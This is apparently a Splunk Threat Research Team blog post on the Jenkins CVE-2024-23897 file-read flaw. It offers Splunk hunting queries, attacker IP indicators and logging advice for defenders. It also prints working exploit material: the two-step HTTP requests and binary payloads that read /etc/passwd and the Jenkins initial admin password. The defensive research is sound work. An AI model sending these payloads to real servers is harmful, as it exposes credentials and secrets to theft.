The recent identification of CVE-2024-23897 in Jenkins versions up to 2.441 has significantly heightened concerns within the cybersecurity community, particularly focusing on the implications for public-facing Jenkins servers. Jenkins servers are important for many organizations as they are used in continuous integration/continuous deployment (CI/CD) pipelines, automating stages of software development and deployment. These servers often manage and process highly sensitive information, including source code, credentials, and various configuration details. This critical vulnerability allows an attacker to read arbitrary files from the Jenkins controller's file system without authentication. The exploit leverages a feature in Jenkins' CLI command parser, which mistakenly processes an '@' character followed by a file src as a directive to insert the file's contents into the command.
In response to this exploit, the Splunk Threat Research Team has swiftly developed security analytics and hunting queries to support defenders. Below, we'll review what we know so far about how this exploit operates, the security analytics and hunting queries developed by the Splunk Threat Research Team, and additional tips around capturing Jenkins logs.
As proof of concepts (POCs) become available, the Splunk Threat Research Team reviews and tests these POCs as best as possible. In this instance, two were released quickly (https://github.com/binganao/CVE-2024-23897, https://github.com/h4x0r-dz/CVE-2024-23897), then the Nuclei template.
The three samples at the time all perform the same activity. Here is an example of HTTP requests.
The script first sends an upload request with a specially crafted payload. This payload instructs Jenkins to read an arbitrary file from the server's file system.
POST /cli?remoting=false HTTP/1.1 Host: [Target Jenkins Server] Content-type: application/octet-stream Session: [Randomly Generated UUID] Side: upload Content-Length: [length of the payload] [binary payload data]
An example POC binary payload from here:
data = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + file_src.encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
The payload is a binary sequence that includes a command to read a specific file (designated in the script by the file src argument). For example, if the attacker wants to read /etc/passwd, the binary data after the command help will include @/etc/passwd.
The payload structure is as follows (in a simplified representation):
[Command Length][Command ('help')][File Path Length][File Path ('@/etc/passwd')][Other Parameters]
The real payload is binary and specially crafted to exploit the vulnerability.
Almost immediately after the upload request, the script sends a download request to trigger the server to process the uploaded payload.
POST /cli?remoting=false HTTP/1.1 Host: [Target Jenkins Server] Session: [The Same Randomly Generated UUID as in Upload Request] Side: download Content-Length: 0
This request does not have a body. Its purpose is to instruct the server to process the previously uploaded payload and return the contents of the specified file.
After sending the above requests, the script listens for responses from the Jenkins server. If the exploitation is successful, the response to the download request should contain the contents of the requested file.
As part of our research, we captured many different types of HTTP requests bodies and wanted to share here what is being seen in the wild.
--- \x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0E\x00\x00\x0C@/etc/os-release\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03 --- \x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0E\x00\x00\x0C@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03 --- \x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0E\x00\x00\x0C@/etc\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03 --- \x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0E\x00\x00\x0C@/var/jenkins_home/secrets/initialAdminPassword\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03 --- \x00\x00\x00\x0A\x00\x00\x08who-am-i\x00\x00\x00\x0E\x00\x00\x0C@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03 --- \x00\x00\x00\x0E\x00\x00\x0Cconnect-node\x00\x00\x00\x0E\x00\x00\x0C@/etc/passwd\x00\x00\x00\x07\x02\x00\x05UTF-8\x00\x00\x00\x07\x01\x00\x05en_AE\x00\x00\x00\x00\x03 ---
| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url="*/cli?remoting=false*" Web.status=200 Web.http_method=POST by Web.src, Web.dest, Web.http_user_agent, Web.url Web.status, Web.http_method | `drop_dm_object_name("Web")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Depending on the logging source, in our instance Nginx, we see in the request body the exploitation attempt.
This behavior matches what we saw in the prior section regarding exploiting the CVE.
Similar to our published datamodel query, here is a direct sourcetype query looking for the URI src; modify and tune this based on the data source you have. Note a successful exploitation will have a POST method and 200 status.
(index=web OR index=proxy OR index=firewall) AND ( uri="*/cli?remoting=false*" ) | stats count min(_time) as firstTime max(_time) as lastTime by src, dest, http_user_agent, uri, http_status, http_method | sort - count
In addition to monitoring for scanning activity, we have a group of IP addresses we’d like to share. These are atomic indicators and they will most likely be different in your environment.
(index=your_index_name dest_ip IN ("13.212.202.12", "159.65.248.14", "170.187.144.15", "170.64.139.139", "170.64.194.94", "170.64.210.170", "172.105.105.177", "185.220.100.253", "185.220.101.174", "192.46.223.81", "35.89.249.239", "45.33.18.139", "5.196.144.7", "81.169.173.242")) | stats count by dest_ip | sort - count
To ensure a robust security posture, it's crucial to capture and monitor Jenkins logs. Splunk can ingest these logs, providing visibility into the operations and potential security incidents within your Jenkins environment.
Jenkins provides detailed logging capabilities that can be configured to capture various events. You can enable and configure these logs through the Jenkins interface or by modifying the logging properties file. Refer to the official Jenkins documentation on viewing logs for detailed instructions.
A reverse proxy can add an additional layer of security and help manage traffic to your Jenkins server. For detailed guidance on configuring a reverse proxy for Jenkins, consult the official documentation on reverse proxy configuration with Jenkins. It provides best practices and configuration examples for popular reverse proxy servers like Nginx and Apache.
By capturing Jenkins logs in Splunk and utilizing a reverse proxy, you can significantly enhance the security and efficiency of your CI/CD pipeline.
CVE-2024-23897 is a critical vulnerability discovered in Jenkins, affecting versions up to 2.441. This security flaw allows unauthenticated attackers to read arbitrary files from the Jenkins controller's filesystem. The exploit misuses a feature in the Jenkins CLI command parser, where an '@' character followed by a file src is incorrectly interpreted as a directive to insert the file's contents into the command. This is a significant risk as Jenkins servers are integral to CI/CD pipelines and handle sensitive data.
The Splunk Threat Research Team has developed analytics and hunting queries to aid defenders. The Splunk Threat Research Team has analyzed proof of concept exploits available online, which utilize a two-step process involving an upload request with a malicious payload followed by a download request to retrieve the file's contents. Splunk's security analytics help identify such exploitation attempts by monitoring web request logs for specific patterns indicative of the CVE's exploitation. Additionally, the Splunk Threat Research Team provides guidance on logging Jenkins activities and configuring reverse proxies for enhanced security.
Visit research.splunk.com to view the Splunk Threat Research Team's complete security content repository. You can implement this content using the Enterprise Security Content Updates app or the Splunk Security Essentials app.
The Splunk platform removes the barriers between data and action, empowering observability, IT and security teams to ensure their organizations are secure, resilient and innovative.
Founded in 2003, Splunk is a global company — with over 7,500 employees, Splunkers have received over 1,020 patents to date and availability in 21 regions around the world — and offers an open, extensible data platform that supports shared data across any environment so that all teams in an organization can get end-to-end visibility, with context, for every interaction and business process. Build a strong data foundation with Splunk.